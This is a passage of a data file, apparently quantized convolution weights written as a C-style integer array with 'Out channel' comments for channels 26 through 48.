-351, -934, 963, 918, 382, -549, -324, 551, -316, 501, 1017, -1858, 434, -926, -602, 1063, 652, -667, 820, 1840, // 4600
-1221, -382, -843, -234, 1243, -351, 357, -288, -104, 1130, 576, -717, 1797, -2004, 923, 201, -297, -210, -554, 815, // 4620
1051, 42, 588, 1809, 326, -207, 161, 361, -723, -180, 672, -285, 216, 1061, 527, 329, 1102, 343, 1316, -455, // 4640
-58, 933, -1222, -270, 606, 1218, 419, -532, -735, 333, 1720, 992, -637, -1257, -966, -24, 217, 974, -703, 390, // 4660
195, 142, -209, -267, 525, 2394, -1233, 54, 1305, -344, 1515, 649, -502, 644, -282, -947, -339, -1767, -822, -41, // 4680
// Out channel 26
590, -91, 704, 262, 222, -2180, -4052, -217, -330, -617, 63, -3806, -1332, 680, 501, 390, -782, -984, 915, 297, // 4700
-692, -722, -2185, 445, 2037, 2470, 3693, -1117, 87, -255, -216, -703, 343, -910, -536, -561, 81, 431, 3316, -1385, // 4720
-1291, 611, 654, 946, -50, 742, -480, 737, -1962, 2588, -903, -283, -545, -4156, -943, 239, 137, -320, -999, 1149, // 4740
-1319, 470, -163, -1838, -358, -1195, 2413, -1211, 1063, -499, 136, 1260, 518, 530, -242, 257, -1458, 226, 607, 922, // 4760
-152, 340, -237, -1461, 422, -2297, 1598, -1211, -620, 675, 45, 994, 189, 4403, -334, -86, 368, 23, -280, -912, // 4780
932, 2103, -300, 481, 961, -2491, 728, -1597, -73, 12, -1172, -58, -2122, 759, 879, -1465, 759, 835, -2490, -317, // 4800
1161, 1273, 553, 1176, -234, 2443, -424, 638, 281, 321, 578, -726, -566, 1127, 548, -21, 513, -153, 194, -1518, // 4820
2006, 453, -1162, 1075, -14, -289, 157, -409, 166, -565, -1497, -351, -1738, -841, 1319, 205, -883, -181, -249, 407, // 4840
45, 3486, 3032, -919, 554, -996, 1881, 460, -1452, 2203, -1235, 359, 458, -177, -873, -34, 902, -78, -483, 1633, // 4860
// Out channel 27
1799, 1979, -42, -438, -365, -278, 1006, 999, 1505, -405, -545, 727, 229, 489, -54, 179, -650, 672, 7, -711, // 4880
1353, 376, 965, 248, 268, 1348, 292, 1012, 1392, -932, 1623, -560, 845, 36, -366, 17, 3997, 166, -312, 311, // 4900
-808, 610, 3658, 1777, -193, 546, -666, 242, -78, -88, -1217, 143, 234, -124, 1676, 2831, -210, -603, -704, 356, // 4920
-809, 171, 442, -264, 133, -33, -627, 525, -494, 77, -680, -1584, 422, 135, -544, -701, -207, -124, 629, -136, // 4940
282, -452, -187, 110, 2387, -368, 52, 209, -3643, 671, 934, 2280, -333, -270, -841, 1307, -187, -222, 289, 696, // 4960
-1586, 359, 2374, -392, -313, 103, 812, -410, 574, -430, -172, -6075, 1163, 251, 738, -342, 410, -992, -366, 10, // 4980
619, 124, -1156, 875, 955, -787, 147, 1043, -22, 758, 226, -656, 1298, -5, 1010, -66, 545, 3526, 108, 209, // 5000
767, 614, -1670, -204, 433, -212, 105, -267, -414, 300, 413, 1406, 626, -535, 80, -327, 290, 56, -827, -264, // 5020
322, 211, -329, -842, 3258, -179, -176, 132, 612, 226, 267, -114, -2524, 116, -2418, -824, -685, -84, -51, 299, // 5040
// Out channel 28
-269, -1056, 461, 268, -340, -1876, -3130, 242, -125, -257, 639, -2125, -1580, 320, -62, -403, -562, -536, 179, 55, // 5060
-1011, -224, -2528, -748, 2667, 1577, 2609, -1751, -352, -233, -1991, -586, 312, -2421, 55, 293, -313, 86, 3447, -920, // 5080
342, 1044, -641, -1050, 349, -708, 781, -623, -2153, 2373, -303, -157, 463, -3782, -353, -11, 752, 579, -688, 752, // 5100
-363, 110, -468, -671, -847, -1020, 1471, -581, -306, -369, 376, 2070, -81, 267, 49, -63, -337, 395, -634, 1533, // 5120
1032, 188, -823, -954, -86, -1444, 1532, -647, -35, 302, -192, 179, -54, 5716, 574, -500, -537, -4, -408, -714, // 5140
836, 1555, -1043, 194, -175, -1075, 534, 281, 1074, 335, -207, 90, -2132, 790, -181, -504, 1466, 88, -1565, -1043, // 5160
-741, 884, -456, -270, -187, 1932, -212, 754, 620, -119, -70, 1661, -1118, 1499, 426, 186, -245, -244, 12, -1168, // 5180
-276, -130, 300, 401, -142, -927, 440, -416, 727, -1369, -2106, -320, -2246, -26, 778, -2, 158, -145, 583, -480, // 5200
355, 1822, 2355, -205, 378, -850, 615, -509, -1557, 3121, -1746, -66, 707, 138, -199, -418, 700, 715, -310, 1732, // 5220
// Out channel 29
409, 179, -989, -309, 1303, 364, -960, 1172, 1347, -402, -1088, 1109, 3711, 557, 922, -561, -782, 896, 759, 375, // 5240
-117, 1692, 0, 390, -1912, -3730, -460, -594, -1286, 1667, -2196, -447, -960, -22, 225, 289, -192, -986, -734, 757, // 5260
1045, 699, -2059, -1372, -374, 246, 192, -181, -186, -1249, 523, 477, -474, 264, -181, -495, -849, 264, -3222, -180, // 5280
4793, -240, 2209, 195, 459, 273, 580, -2094, 762, -32, -1249, -377, -3355, -835, -584, -868, -1399, -391, 25, 274, // 5300
474, -617, 376, 178, -108, 43, -608, 2338, 364, 328, -442, -1732, -231, -174, -92, 251, 2387, -335, 123, 947, // 5320
-679, -168, -2842, 787, 1457, 449, 600, 614, -1042, 449, 1649, 186, 2458, -1537, 286, 749, -385, -321, -6, 1998, // 5340
2714, 549, 247, 1713, -173, -172, 781, 39, -1295, -284, 447, -98, 365, 438, -756, 325, 31, -749, 86, -865, // 5360
-1469, -558, -819, 102, 416, 2266, 406, -330, 115, 68, 832, 693, -918, -1481, -2025, 363, -906, 9, 110, 1085, // 5380
-1682, -720, 481, 369, -385, 1960, -2753, -92, 175, -387, 3020, 121, 250, -618, -231, 602, -286, -813, -295, -1096, // 5400
// Out channel 30
-228, -959, -491, 842, 1574, -66, -508, 677, -1325, -3082, -1291, -581, 233, 1525, -1351, -1393, -1, 623, 249, 1343, // 5420
-826, 1517, -1020, 1043, 508, 1295, -302, 306, -169, 872, -860, -335, -3178, 290, 271, -516, 602, -2517, 1252, 356, // 5440
-133, 737, -55, -93, 1006, -87, 471, -437, 150, 526, -1321, -352, -3052, 57, -2418, 136, 1673, -4691, -1195, 157, // 5460
-162, 1597, 1504, -2091, -1280, -1286, 717, -568, 1361, -299, 911, 249, -287, 1722, 122, -658, 22, 941, 907, -1052, // 5480
-839, 943, 1658, -54, 269, 26, 5, 513, -196, 710, -919, 639, 941, 158, 56, -1408, 2199, 795, -1553, 902, // 5500
-414, -391, 758, -452, 691, -780, 1067, -2443, 597, 2030, 301, -308, -365, 1292, -696, -111, 477, 1289, -196, 1011, // 5520
1500, 598, 2080, 1235, 762, 903, 524, 52, -1347, 131, -339, -718, 447, -487, 1625, -3854, -1548, -218, -688, -830, // 5540
1887, 89, -1744, 1944, 1632, 1262, 181, -306, -1364, 119, -390, -274, -727, -954, 2609, 1302, -2017, 1246, -955, 2838, // 5560
-2873, -383, 1116, -9, 101, 25, -179, -167, -547, 195, -392, 3474, 283, 116, -839, -1443, 2105, -818, 723, 497, // 5580
// Out channel 31
465, -1089, -1911, 865, 505, 1227, 240, 670, 596, -1815, -1367, 1238, 1222, -205, -1211, -1327, 735, 1442, 352, 1900, // 5600
500, 734, -188, -284, -1146, -791, -1384, -584, -1011, 519, 31, 317, -3094, 1527, 1593, 1170, 792, -2204, -1266, 1510, // 5620
1975, 77, 718, -1066, 1639, 573, 773, 295, 715, -1359, -791, -685, -658, 1823, -1354, -426, 616, -598, -1343, -859, // 5640
1120, 708, 1587, -189, 516, -715, -169, 340, 962, 516, 452, -189, -932, 2137, 1465, -447, -723, 374, 233, -442, // 5660
-308, 834, 1248, 535, 59, 1570, -2515, 1395, -457, -163, -291, -839, -629, -2939, -493, -1642, 325, 885, -602, 1060, // 5680
-942, -1309, 193, -205, -629, 415, 399, 281, 381, 1977, 1183, -209, -107, -186, -320, 1974, -1575, 758, 889, 595, // 5700
1753, 425, 1526, 588, 1150, -413, 1469, 174, -638, 318, -1084, 283, 1930, -387, 2772, -1753, -167, -452, -908, 610, // 5720
-1050, -848, -1247, -243, 1213, 962, 278, 661, -694, 1210, 824, -757, 351, -741, -1077, 3423, -588, 758, 669, 3010, // 5740
-1885, -1238, -145, 1344, 12, 1257, -2455, -1438, 519, -2431, 1126, 115, -612, 416, -476, -2245, 160, -1088, 1045, -383, // 5760
// Out channel 32
-1013, -3272, -506, 582, 723, 41, -39, 67, -1087, 265, 249, -533, -362, 187, -411, -1615, -277, -1535, 321, 2317, // 5780
-2088, -189, -3241, 1317, 580, 2057, 285, -1200, -1169, 1491, -1341, 944, -1205, 18, 380, -365, -2367, -888, 650, 1036, // 5800
366, -743, -1670, -796, 1176, -1411, 1054, -1257, 545, -107, 565, -823, -1262, -539, -2060, -2853, 2994, 261, -279, -489, // 5820
-103, 86, -541, -203, 3, 561, 71, 84, 548, -242, 1802, 2894, 206, 1498, 365, 213, 611, 1613, -257, -477, // 5840
-382, 1256, -743, -1452, -1366, -139, 1141, -1127, 939, 118, -1905, -2043, -980, 41, 921, -1330, 221, 2844, -1002, -2937, // 5860
3902, 348, -2075, 426, -1344, -1054, -159, 1111, -305, 1200, -262, 1673, -3090, 2005, -1338, 661, -409, 249, 22, 295, // 5880
-367, 1811, 1641, -592, 467, 792, 257, -1701, -420, -932, -790, -190, -1480, -226, 2737, -1179, -1208, -3019, -1355, -209, // 5900
414, -876, 532, 237, 1427, -280, -1025, 1379, 321, 167, -733, -649, 242, 609, 140, 1197, -766, 111, 1801, 1016, // 5920
-167, 302, 1201, 528, -1170, -1280, 430, -2893, -2391, 438, -1735, 1210, 5121, -261, 636, -621, 3121, 1621, -340, -7, // 5940
// Out channel 33
-27, 685, 1638, 586, -148, -423, 843, -192, -159, -1037, -770, -1003, -992, 100, 48, -290, 512, -580, -260, -531, // 5960
453, 492, 717, 758, -464, 1743, 458, 3723, 277, 313, 1720, -589, -139, 317, -12, -271, -269, -624, -109, -555, // 5980
-1891, -628, 505, 2915, 123, -305, -586, 272, 431, -5, 304, 116, -1085, -413, -424, 86, -445, -992, 543, -395, // 6000
-1050, 254, -761, -1010, -530, 1393, -902, 204, -184, -269, -322, -1412, 24, 562, -70, 579, -133, 345, 962, -2035, // 6020
-1595, -548, 704, 261, -109, -286, 124, -442, -145, 68, 113, 300, 976, -1142, -127, 745, 261, -281, 330, 389, // 6040
-567, 816, 186, -12, -306, 473, 172, -1324, -629, -96, 301, -767, 1254, -597, 144, -461, -791, -61, -642, 556, // 6060
-578, 53, 104, -291, -25, -686, -670, -1111, -464, -414, 430, -3204, -300, -967, -85, -1177, 714, -142, 364, 538, // 6080
2082, 568, -110, 1082, 131, -112, -753, -188, -1438, 373, 1504, -203, 714, 274, 1360, -210, -1129, 396, -2195, 246, // 6100
6, 983, 411, -267, -627, -607, 807, 780, 348, -508, -571, 500, 137, -162, 309, 229, 93, 322, -1533, 681, // 6120
// Out channel 34
-53, -123, -1586, -1055, 357, 145, 233, -240, -132, 262, -784, -299, 392, -1883, 760, 2886, -782, -210, -1838, -339, // 6140
-230, 557, 309, 1412, 155, 1151, -69, -334, 3394, 254, 1122, 2175, 373, 618, -267, -1024, 1052, -832, -869, -145, // 6160
-155, 689, 524, -672, -1145, 618, 295, 127, -956, 987, -1069, -1139, -522, -410, -428, 426, -351, -470, -40, 794, // 6180
-177, 2252, 354, -1199, 883, -1622, 1022, -221, -838, -274, -1076, -1052, -193, -597, -2352, -8, 1101, 788, 1195, 208, // 6200
-425, -1982, 160, 99, -50, 450, -227, 25, -355, -1011, 417, 1281, -2376, -74, -406, -696, 519, -127, -284, 1172, // 6220
-815, -904, -130, 547, -438, -851, -862, 135, -499, -522, -643, -515, 77, -208, 746, -1131, 24, 548, -727, 250, // 6240
245, 287, 64, 1477, -86, -58, 699, 1096, -530, -500, 1529, 131, 445, -63, 176, 627, 876, -349, 1125, -412, // 6260
711, 317, -1039, 1156, -1500, 1172, -547, 1925, 408, 1415, -188, -552, -557, -83, 1452, -1057, -640, -1840, 998, -635, // 6280
1369, -526, 63, -470, 386, -1197, -102, 1056, 680, 290, 1153, -338, 190, -2902, -531, 491, -36, 723, 1265, 455, // 6300
// Out channel 35
-231, -2447, 138, 318, 1192, -52, -964, -68, -1580, -558, -202, -386, -944, 230, -1496, -612, 108, -822, -270, 1147, // 6320
-1890, -17, -1262, 351, 226, 312, -395, -381, -540, 1358, -1221, 229, -2338, 856, 839, -1167, -1017, -1781, 234, 241, // 6340
1150, 429, -475, 766, 683, -185, 1069, 2, -206, -199, -369, -267, -2628, -410, -2492, -658, 1082, -1913, 319, 453, // 6360
90, -163, -40, -1565, -348, 536, 1064, 3, 521, 279, 1000, 1241, 28, 1326, 1143, 771, -412, 358, -172, 434, // 6380
-877, 776, 697, -359, -337, 498, 190, -557, 562, -345, -2982, -1236, 661, 252, 1235, -2593, 895, 680, -1780, -1141, // 6400
1449, 446, -976, -1138, 9, -1944, -264, -1765, 157, 1033, -125, -10, -1652, 711, -1424, -194, 751, 803, 303, 1, // 6420
145, -521, 3482, -302, -71, 677, -536, -4, -1133, -1673, -844, -529, -419, 243, 65, -2164, -1387, -836, -559, -730, // 6440
716, 541, 274, 1960, -110, -227, -16, -435, -1886, 1005, 298, -1283, -273, -643, 1951, 404, -1683, 420, -774, 712, // 6460
-1944, 379, 1701, 1038, -801, 363, 608, -364, -1249, -215, -883, 2363, 1411, 449, 752, -278, 3744, -58, 562, -328, // 6480
// Out channel 36
-116, -174, 104, 241, -99, 389, -529, 231, -697, 1172, 759, 288, -680, 27, -651, 389, 300, 486, 21, 390, // 6500
-582, -953, 62, -2242, -949, -930, -35, -2813, 34, -1204, -1245, -291, 971, -768, 292, 615, -411, 1516, 320, -567, // 6520
941, 585, -132, -2467, 96, 782, 271, -266, 881, -69, 87, 1518, 1411, -67, 1601, -624, 1119, 814, -159, -206, // 6540
48, -404, 831, 533, -679, -1464, 260, 516, -366, -28, 193, 514, -448, 164, -10, 110, 193, 383, -37, 706, // 6560
590, 927, 930, 1063, 93, 115, 426, 506, -345, -121, -398, 1178, 154, 549, 287, -677, -645, 91, -326, 1281, // 6580
-157, 148, 466, -587, 913, -403, -52, 1162, 691, -691, 526, 259, -208, -119, -284, 476, -434, -597, 508, -1433, // 6600
727, -1210, -468, 266, 402, 45, 294, 305, 753, 45, 78, 1901, 749, 1096, -43, 547, -559, -784, 318, -108, // 6620
-1334, -102, -161, -973, 686, -301, 207, -463, -29, -1273, -1106, 542, 263, 173, -1013, -217, 703, 200, 1220, -11, // 6640
95, 232, -139, 15, 295, 712, 116, -258, 387, -297, 325, -1228, -545, 930, -79, -961, -261, -916, 810, -305, // 6660
// Out channel 37
240, 373, -459, -319, -1417, -335, 1065, 1512, 1291, 645, 377, 329, 784, 742, -260, -104, 416, 1534, 599, 134, // 6680
1654, -584, 2282, -1345, -494, -1882, 321, -195, -533, -478, -89, 174, 118, -997, -268, 1975, 117, 744, -443, 69, // 6700
475, 778, -173, -1958, -44, 307, -108, -71, 473, -303, 87, 1253, 2042, 39, 2135, -23, -106, 247, 261, -1322, // 6720
-326, -376, 487, 2177, -486, -931, -163, 1188, -999, -294, 51, -1462, -195, -567, 950, -1451, 300, 637, -473, 456, // 6740
277, 393, -450, 1337, -6, -572, -286, 1132, -656, 913, 787, -199, 426, -674, -650, 940, -937, 183, -43, 1966, // 6760
-2059, -418, 433, -231, 313, 1392, 337, 837, 809, -151, 1834, -62, 1800, -453, -215, 587, -131, -1250, 626, -479, // 6780
-156, -646, -1065, 242, 925, 108, 934, 35, 425, 695, -1120, 205, 1384, 1037, 165, 33, -741, 244, -323, 569, // 6800
-1976, -274, -459, -2085, 615, -222, 494, -364, 444, -1928, -100, 1144, -21, 53, -2173, 453, 1473, 697, -20, -1151, // 6820
972, 15, -1491, -508, -326, 1862, -1668, -264, 1454, -554, 211, -1266, -1887, 569, 256, -1287, -1607, -1029, -508, 109, // 6840
// Out channel 38
761, -614, -278, -717, 1013, 598, 147, -1151, -159, -739, -194, 459, 315, -496, 2061, 2013, -859, -1241, -203, -951, // 6860
-770, -589, -535, 171, -162, 487, -463, -1460, 1279, 74, -1110, -360, 1281, 679, -284, -1394, 281, 350, -855, 52, // 6880
50, 982, -215, -630, -1004, 1103, -891, 1914, -475, 49, -758, -835, -386, 1031, -944, 480, -1121, 14, -733, 542, // 6900
698, 269, 410, -1306, 919, 220, 475, -371, 841, 426, -2343, 1287, -973, -388, -2260, 1100, -138, -933, 541, -85, // 6920
-507, -874, 223, -351, 477, 173, -94, -384, -1184, -189, -559, 316, -369, -708, -250, -1222, 496, -1953, -9, -712, // 6940
1277, -258, -1229, 440, 780, -1167, -691, -109, -349, -1352, -926, -338, -786, 166, 2227, -321, 231, 1043, 426, -94, // 6960
230, 454, 427, 429, -120, 1350, 32, 589, 17, 540, 1689, 860, -670, 3, -1171, 1363, 1189, 440, 2196, -207, // 6980
325, 2229, -179, 1054, -2141, 301, 696, -499, 411, 117, -606, 62, 351, 69, 373, -2068, -458, -1602, -324, -996, // 7000
320, 139, 556, 553, 407, -1321, 719, 2156, -584, -413, 735, 587, 432, -2356, -955, 2335, 809, -678, 791, -233, // 7020
// Out channel 39
183, 585, -702, -328, -708, -734, 423, -43, -360, 169, -990, -974, -1402, -943, -348, 451, 198, -233, -489, 256, // 7040
329, 442, -442, 925, 978, 4516, 431, 468, 923, -174, 2489, 1614, 137, -45, 142, -1466, 555, 99, 459, -229, // 7060
-791, -981, 3543, 1943, 681, -1242, 264, 38, -376, 255, -1681, -3019, 169, -385, 376, -341, 468, -250, -277, 617, // 7080
-2089, 1748, -470, -709, -129, -183, 735, 528, -370, -551, 1227, -671, 1538, -350, -52, -1027, 1093, 764, 583, -658, // 7100
175, -100, -946, -967, -157, -493, 317, -160, -412, 269, -59, 2109, -1641, 81, -14, 617, -936, 485, 933, -1719, // 7120
-324, -257, 1722, 461, -2309, -352, 285, -289, 1009, -678, -1266, -991, -919, 1034, 85, -307, 319, -532, -586, -24, // 7140
-803, 1078, -468, -754, 821, 1239, 72, -612, 165, -450, -866, -692, 1178, -740, 1438, 81, -53, 453, -229, -51, // 7160
1420, -78, -386, -220, 506, -590, -510, 1840, 731, -268, -129, -56, 526, 26, 1547, 506, 229, 69, 320, -259, // 7180
1449, 948, 218, -1285, 330, -3961, 1332, 101, 321, 236, -1068, -5, -599, 11, -52, -232, -332, 1250, -288, 156, // 7200
// Out channel 40
-720, -361, 939, 416, 205, -1337, 242, 92, 619, 108, -62, -1973, -519, 139, -136, 154, -681, -118, 270, -51, // 7220
545, 553, 464, 432, 1816, 1159, 1308, 1532, -176, 285, 226, -113, -68, 219, -109, -522, -373, 125, 473, 122, // 7240
-2100, -975, 334, 1472, -3, -1121, 415, -183, -991, 1420, 316, 253, -618, -1593, 231, -978, -150, -714, 450, -264, // 7260
-1452, -539, -1006, 98, -314, 1144, -239, -3, -244, -711, -328, -603, 967, -154, -211, 532, 483, 329, 786, -850, // 7280
-564, -303, 177, -1117, -1374, -1739, 948, -335, 322, 34, -228, -655, -380, -226, -378, 356, -265, 547, 146, 2, // 7300
631, 1864, 428, 549, -24, 863, -164, -203, -949, -65, -438, -369, 29, -452, -35, -109, -192, -506, -2039, 861, // 7320
-298, 331, 206, -105, -57, -989, 474, -993, -637, -1314, -162, -1661, -376, -22, 153, -303, 72, -1152, 668, 365, // 7340
1514, 614, -379, 39, 1110, 436, -1547, 327, 404, -22, 1267, 92, -246, -201, -43, 165, -116, -177, -416, -555, // 7360
281, 1987, -28, -633, -931, -307, -315, -706, -760, 494, -486, 254, 976, -275, 367, 325, 96, 562, -1053, 1160, // 7380
// Out channel 41
-1862, -606, 43, -200, 407, -435, -311, -520, -1068, -72, 64, -416, 372, 171, 13, 597, -24, -150, -151, -559, // 7400
-47, 169, 748, -154, 21, -1067, -173, -387, 443, -93, -358, 62, 1000, 48, -320, 422, -2525, 334, 193, -258, // 7420
448, 44, -882, -1262, 102, -149, 297, -653, -29, 256, 367, 122, -404, -258, -46, -1851, -107, 56, 667, 37, // 7440
-160, 906, -806, 376, -313, -1073, 45, -597, -356, -137, 673, -197, -189, -497, 244, 908, -136, 957, 263, 174, // 7460
-800, 748, -55, -172, -3195, 614, 102, -631, 4966, -340, -474, -512, -5, 363, 547, -1037, -80, 422, 325, 88, // 7480
1244, -628, -4, -149, -414, 43, 33, 709, -363, -408, 35, 4836, -1087, 64, -279, 826, 386, 639, 241, 571, // 7500
-414, -1156, -101, 238, -297, -37, 635, 691, 206, -267, 5, -46, -49, 25, -326, -548, -741, -2835, 281, -388, // 7520
39, -250, 780, 38, 149, -8, -777, 233, 131, -332, -52, -729, 82, -199, -732, -644, -423, -317, 127, -701, // 7540
226, -338, 352, -75, -3405, 674, 200, -195, -678, -182, -633, 109, 700, 233, 2421, 502, 157, 184, 593, -51, // 7560
// Out channel 42
-598, 575, 4151, -233, -759, -787, 311, -405, -570, -461, 1827, -941, -414, 1045, 487, 464, 1234, -282, 782, -920, // 7580
1708, -683, 1222, -799, 444, 299, 1304, 538, 184, -476, 870, -1237, 349, -1347, -836, 2098, -718, 806, 127, -1475, // 7600
-820, -461, 59, 841, -248, 409, -476, -917, 551, 667, 864, 2864, 516, -1463, 185, 126, -390, -1508, 1010, -564, // 7620
-1092, -556, -31, 608, -2418, 161, -540, 296, 353, -480, -177, -852, 868, -16, -214, 1135, -460, 493, -93, 338, // 7640
-685, 995, 474, 702, -502, -1314, 519, -205, 879, 107, 619, 450, 2862, 715, 515, 225, -760, -167, 75, 1594, // 7660
-384, 1070, 531, -547, 1485, 658, 238, 122, -100, -486, 854, 188, -7, 223, 76, 7, 945, -351, -316, -59, // 7680
-260, -1829, -646, 211, 51, -380, -1519, -244, 56, -97, -131, -252, -354, 1351, -495, -125, -226, 565, 408, 55, // 7700
-43, -129, 701, -228, -518, -804, 95, -1946, -428, -1071, -156, -110, 335, -251, -763, -309, 117, 57, -814, -67, // 7720
780, 1233, -843, -898, -741, 1489, 570, 728, -791, 1241, -1372, -654, -739, 709, 1213, -545, -571, -1431, -512, 21, // 7740
// Out channel 43
3350, -112, -374, 22, 60, 1044, -755, 458, 463, -510, -107, 874, -217, 568, 262, -518, -286, 226, 100, -66, // 7760
-1296, -984, -1022, 602, -629, 179, -524, -151, -57, -44, -94, -315, -342, 113, 97, 253, 1968, -285, 60, -264, // 7780
199, 1302, 435, -205, 313, 1329, -273, 1917, -342, 181, -936, 60, -19, 476, -354, 1400, -1121, -195, -753, -730, // 7800
-246, -306, 443, -831, 308, -40, 155, -682, 282, 1004, -383, 331, 596, -226, -483, 31, -285, -1087, 190, 736, // 7820
611, -580, 461, 410, 2480, 1100, 220, 584, -2922, 262, -283, 654, 304, 135, -47, -838, 408, -1098, -548, 78, // 7840
-1107, -1045, -311, -438, -84, -543, 697, -1081, 332, 20, 969, -1567, 101, 534, 353, -381, -453, 574, 836, -906, // 7860
-241, 1118, 389, -11, 501, 974, 186, 1255, -123, 333, -330, 525, -3, 286, 314, 356, 679, 1413, 114, -167, // 7880
-148, 242, -389, 528, -236, -278, 1790, -299, -467, 388, 133, 351, 31, 441, 111, 0, -171, 426, -441, 238, // 7900
-490, 71, 828, 704, 2324, 71, -152, 607, -289, -773, 511, 737, -97, -404, -3064, 766, 64, -674, -276, -411, // 7920
// Out channel 44
97, 1153, -8, -292, -3351, 345, 1782, -518, -398, 1557, 1280, 792, -1728, -1404, -106, 464, 420, 1316, -1270, -873, // 7940
1044, -3041, 1975, -1803, 64, 772, -293, -569, 1029, -1939, 1619, 1538, 1540, -141, -202, 583, 585, 1944, -991, 265, // 7960
1011, -448, 1768, -26, 199, 66, -315, -71, 540, -489, -567, -128, 1458, 347, 1505, 51, -799, 1264, 2255, 9, // 7980
-1266, -503, -1377, 3307, 471, -854, -2526, 1887, -1942, -415, -154, -581, 2384, -387, 713, -410, 1233, -466, -361, 526, // 8000
1147, 361, -1559, 332, -122, 98, -1140, 165, -466, -1710, 543, 931, -1729, -98, -813, -177, -3688, -131, 492, 563, // 8020
-853, -461, 2194, 136, -804, 1650, -1557, 584, 1597, -1530, 210, 324, 107, 36, 499, 759, 452, -254, 395, -4215, // 8040
-2956, -551, -495, -1775, 101, -1665, 879, -47, 2162, 433, -524, 933, 676, 485, -598, 1533, 316, 270, 158, 1399, // 8060
-1931, -155, 989, -3054, -850, -2922, 913, 769, 1348, -1702, -153, -342, 995, 2564, -1334, -848, 3268, -912, 1028, -2086, // 8080
2023, -736, -2394, 83, 675, 407, 422, 301, 539, 8, -489, -2430, -1581, 100, 220, 690, -1734, 269, 123, -357, // 8100
// Out channel 45
303, 2057, 20, -534, -215, -503, 1501, 791, 1213, -213, -672, -654, -174, 56, -403, 184, -273, 1294, -131, -64, // 8120
2133, 749, 2205, 251, 448, 1577, 600, 1399, 813, -465, 3711, -71, 390, -540, -409, -454, 1640, 316, -230, 175, // 8140
-1226, -1190, 5201, 2179, -953, -701, -402, -1133, -787, 195, -300, -180, 113, 605, 1311, 254, 103, -890, 689, 290, // 8160
-1295, 639, 55, -324, -48, -278, -753, 379, -369, -987, -106, -3431, 25, -456, -425, -865, 157, 482, 545, -544, // 8180
434, -352, 392, 337, 925, -518, 675, 1103, -1926, 306, 582, 2473, -547, 42, -1349, 2432, 169, 402, 106, 1141, // 8200
-1000, -461, 3723, 540, -225, 1517, -342, -425, 632, -58, 216, -3894, 1583, -526, -315, -313, 569, -1632, -1268, 201, // 8220
-63, 26, -1026, 49, 552, -743, 230, -316, -294, 471, 345, -953, 1031, -584, 631, -464, 280, 1669, -67, 106, // 8240
276, 889, -1986, -725, 679, 1129, -528, 51, -75, 530, 18, 1153, -52, -708, 996, 348, 357, -153, -932, 655, // 8260
825, 683, -1922, -597, 587, -35, -273, -179, 1117, 543, 302, 12, -2199, -15, -841, -404, -1340, -242, -451, 639, // 8280
// Out channel 46
-591, -693, 312, 340, 1591, -261, -918, -1083, -1839, -787, -90, -1045, 751, 283, 97, 51, -1131, -1722, -363, -360, // 8300
-1082, 1381, -664, 1382, 747, -35, 11, 418, -222, 1368, -979, -712, -277, 226, -379, -765, -1527, -1438, 144, -985, // 8320
-680, -954, -901, 1821, -242, 846, 407, 887, -583, 1489, 673, 337, -2307, 265, -1010, -1339, 207, -639, -798, 172, // 8340
450, -311, -378, -2480, -49, 1002, 2313, -1600, 1700, 68, -87, 251, -1630, -221, -816, 2147, -297, -279, 945, 824, // 8360
-865, 182, 1031, -623, -2073, 643, -296, -1399, 1599, -1074, -46, -757, 476, 407, 236, -1164, 1506, 245, -286, -503, // 8380
1268, -82, -2551, 318, 10, -1555, 259, -539, -1636, 481, -819, 2104, -1210, -398, 775, -638, 225, 2093, -1017, 1708, // 8400
-73, -498, 715, 925, -2028, 187, -586, -227, -514, -1387, 1002, -1793, -395, 24, -887, -489, -157, -946, -365, -1445, // 8420
1715, 1023, 968, 1679, -1141, 2172, -1417, -161, -53, 1089, -979, -502, -23, -567, 1640, -14, -2725, -321, -517, -109, // 8440
-176, 235, 1376, 207, -1704, -1709, 1761, 563, -211, -10, -70, 657, 2048, -308, 566, 566, 1238, -128, 159, 566, // 8460
// Out channel 47
-282, 800, 329, 492, -58, -907, 3212, -284, -500, -430, -540, 28, -901, -325, 29, 378, 384, -72, -1257, -328, // 8480
1630, 140, 1958, 635, 80, 1806, -1222, 2216, 1189, 61, 3963, 557, -151, 1554, -400, -927, 641, -223, -2439, -831, // 8500
-1521, -308, 2177, 3925, 337, 246, 405, 96, 406, -42, -492, -716, -1900, 1882, 253, -249, -872, -1177, 1142, -369, // 8520
-1764, 714, -814, 140, -298, 489, -938, 1007, 219, -396, 497, -2555, 830, 262, -728, 1341, 1347, 593, 791, -939, // 8540
-1247, -806, 655, 681, -229, 98, -940, 299, 484, -1408, 129, 1671, -107, -2491, 45, 195, 384, 315, 248, 449, // 8560
-871, -929, 2758, 246, -889, 710, -684, -1292, 227, -14, -1104, -245, 1340, 436, 375, -305, -96, 253, 38, 409, // 8580
-534, -844, -553, -113, -444, -1940, -558, 288, -597, -102, 325, -1222, 1091, -1616, -124, -411, 173, 490, 83, 638, // 8600
2036, 223, -302, 544, -170, -385, -50, 992, -749, 1086, 1063, -513, 1261, 76, 1627, 159, -319, 151, -1133, -773, // 8620
787, 178, -3109, 295, 100, -853, 844, 2167, 1874, -1455, 387, 283, -1490, 271, 417, 77, -629, -547, 831, -7, // 8640
// Out channel 48
-598, 787, -696, -408, 270, 1010, 212, -91, -85, -91, -15, 2569, 1581, -286, -143, 902, 527, 539, -839, -463, // 8660
409, 881, 2224, -440, -1855, -1850, -3386, -1019, 209, 315, 182, 759, 146, 342, 280, 1024, 408, 66, -2452, 110, // 8680
773, -42, -422, -1439, -1027, -366, 61, -348, 1254, -1082, 529, 172, 246, 4086, -288, -188, -574, 31, -704, -551, // 8700
2306, 434, 1022, 643, 199, -395, -46, -366, -297, -47, 72, -1253, -1918, -271, -266, -294, 481, 336, 35, -76, // 8720
-558, -129, 237, 449, 119, 2624, -1175, 1367, 593, -823, 331, -118, 74, -1930, 150, 50, 498, 4, 109, 1222, // 8740
-1216, -3175, 201, -375, 361, 792, -252, 395, -478, 42, 883, 304, 2017, -1055, 184, 32, -478, 226, 1795, -130, // 8760
-3, -1569, -313, -118, -459, -1639, 1726, 172, -562, 169, -16, 657, 1317, 209, -688, -459, 92, -93, -122, 694, // 8780
-1791, -182, -61, -387, -31, 758, -309, 741, 154, 133, 494, -429, 308, -177, -1138, -503, -140, -317, 363, 167, // 8800
43, -2771, -640, -16, -26, 1309, -440, 855, 1572, -1589, 3135, -501, -731, 142, 421, 211, -444, -576, 2010, -590, // 8820
// Out channel 49
